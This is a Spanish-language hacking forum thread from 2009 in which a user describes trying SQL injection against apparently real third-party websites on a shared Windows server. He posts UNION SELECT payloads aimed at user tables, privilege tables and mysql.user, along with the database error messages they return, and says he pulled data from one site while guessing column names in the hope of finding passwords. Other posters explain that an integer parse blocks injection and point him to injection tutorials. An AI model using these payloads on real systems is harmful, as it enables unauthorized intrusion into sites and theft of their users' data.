SQL injection

Iniciado por franciz, 18 Septiembre 2009, 01:24 AM

0 Miembros y 1 Visitante están viendo este tema.

franciz

Hola, quisiera ver si es posible hacer un sqli en una pagina.
La direccion es del tipo: http://www.pagina.com/area.aspx?id=1.
Tira error cuando le inserto el ', pero no importa lo que ponga, el error es siempre el mismo:


Server Error in '/' Application.
Input string was not in a correct format.


Line 34:         if (Request.QueryString["id"] != null)
Line 35:         {
Line 36:             int id = int.Parse(Request.QueryString["id"]);


El servidor es Windows 2003 SP2 con IIS 6, SQL server 2005 y MySQL 5.0.24.

En ese mismo servidor hay otra pagina hosteada que tambien me tira el mismo error siempre, y probando por otro lado me tira este:


Server Error in '/' Application.
Error converting data type nvarchar to int.


Por lo visto tambien convierte el campo en entero.

Ahora mi pregunta es esta:
ese int.Parse, transforma todo lo que le ponga a un entero, por lo tanto cualquier intento de injection no va a funcionar?

Gracias de antemano

odeONeSs

Efectivamente, trasnforma todo a entero, no vas a poder inyectar. Lo raro es que el admin se ha dejado puesto el modo debug xD


Saludos!
Cambio de firma de prueba

franciz

Ok, muchisimas gracias por tu respuesta.
Tambien encontre otra pagina en el mismo server que haciendo un

union select 1,1,1,1,1,1,1,1,1,1,1,1 from noticias where campo = algo

no me tirara error, por lo tanto descubri la tabla noticias y un par de campos.
El tema es que todos los manuales de sql injection que leo, dicen que mediante los errores te van dando nombres de tablas o de campos. Aca nunca me dio nada de eso, tuve que ir adivinando los nombres.
Pero despues de ahi no se como seguir, me parece que lei en un post de aca que hay que reemplazar uno de los "1" con el nombre del campo o algo por el estilo, pero no encontre ningun manual que me lo explique bien.
Puedo hacer algo con esto mas que leerle las noticias? hay forma de pasar a la tabla de usuarios a partir de esto??

odeONeSs

Mira en el schema para obtener tablas y campos, te recomiendo que leas este post
http://foro.elhacker.net/nivel_web/gran_tutorial_sobre_inyecciones_sql_en_mysql-t247535.0.html

Saludos!!
Cambio de firma de prueba

franciz

Que rapidez para contestar!!
gracias, lo voy leyendo y despues comento como salio.

franciz

#5
Hace 2 horas que estoy leyendo tutos y haciendo pruebas y no doy pie con bola...
escribo mis resultados (que son pocos):

http://pagina.com.uy/paginirigilla.asp?id=-1+union+all+select 1,concat(grantee,privilege_type,is_grantable),3,4,5,6,7,8,9,10,11,12,13,14+from+information_schema.user_privileges#
[Microsoft][ODBC Microsoft Access Driver] Could not find file 'C:\WINDOWS\SysWOW64\inetsrv\information_schema.mdb'.
lo mismo para mysql.user.


http://pagina.com.uy/paginirigilla.asp?id=-1 union select 1,current_user(),1,1,1,1,1,1,1,1,1,1,1,1 from usuarios where id = 1#
[Microsoft][ODBC Microsoft Access Driver] Undefined function 'current_user' in epresionje.
Lo mismo con unhex(), version(), database(), current_user(), USER(), last_insert_id(), columna AUTO_INCREMENT, connection_id(), char(), load_file().
la funcion hex() no me tiro error o.0

La ' no parece tener efecto, ya que:
http://pagina.com.uy/paginirigilla.asp?id=1'''''#
[Microsoft][ODBC Microsoft Access Driver] Syntax error (missing operator) in query epresionje 'DATO1 = 1'''''' OR DATO2 = 1'''''''.
Me la integra en el campo.

Siempre que hago un select tengo que tener un from y un where sino tira estos errores respectivamente:
[Microsoft][ODBC Microsoft Access Driver] Query input must contain at least one table or query.
[Microsoft][ODBC Microsoft Access Driver] Syntax error in FROM clause.

Con la unica que tuve suerte es con esta:
http://pagina.com.uy/paginirigilla.asp?id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1 from usuarios where id =1
[Microsoft][ODBC Microsoft Access Driver] Too few parameters. Expected 1.
Tabla usuarios con 14 campos y algunos de ellos son id, nombre, apellido y pais.

El problema es que no se como arrancar con esta info, si alguno pudiera indicarme el camino o mostrarme algun tuto que sea parecido a esto. No pido que me lo resuelvan, sino nunca voy a aprender :)


PD: me olvidaba de preguntar, esta pagina es la pagina de un usuario del servidor, por lo tanto debe tener pocos privilegios... ¿se puede llegar a algun lado desde aca?


EDIT:Aaaaaaaaaahhhhhh aparentemente, esta pagina una base de datos ACCESS, por eso no me servian los tutoriales que leia.
Igual estoy leyendo injection en bases access y tampoco me funcionan  :-(


franciz

#7
Darioxhcx, ese paper es para inyecciones SQL, resulta que esta pagina usaba ACCESS.

Al final pude sacar datos, pero esa tabla usuarios no tiene nada importante...
El problema que tenia es que ninguno de los caracteres que ingreso corta la inyeccion, no funcionan ni el ', #, --, %00 ni 200 mas que probe. Como en esa consulta donde queria inyectar hacia 2 comprobaciones, no funcionaba.
Probe en otro asp vulnerable y andaba perfecto, lastima que sacaba comentarios e info sin importancia (me falto adivinar el nombre de 5 campos, puede que 1 tenga contraseñas).
Gracias a todos por su ayuda.

[editado]
No se pueden hacer este tipo de ofrecimientos acá.

MagnoBalt

CitarDarioxhcx, ese paper es para inyecciones SQL, resulta que esta pagina usaba ACCESS.

En realidad bro ACCESS maneja tambien SQL, lo que Darioxhcx te ha pasado es un paper que si bien es para inyecciones en SQL esta basado para el Motor MYSQL


Saludos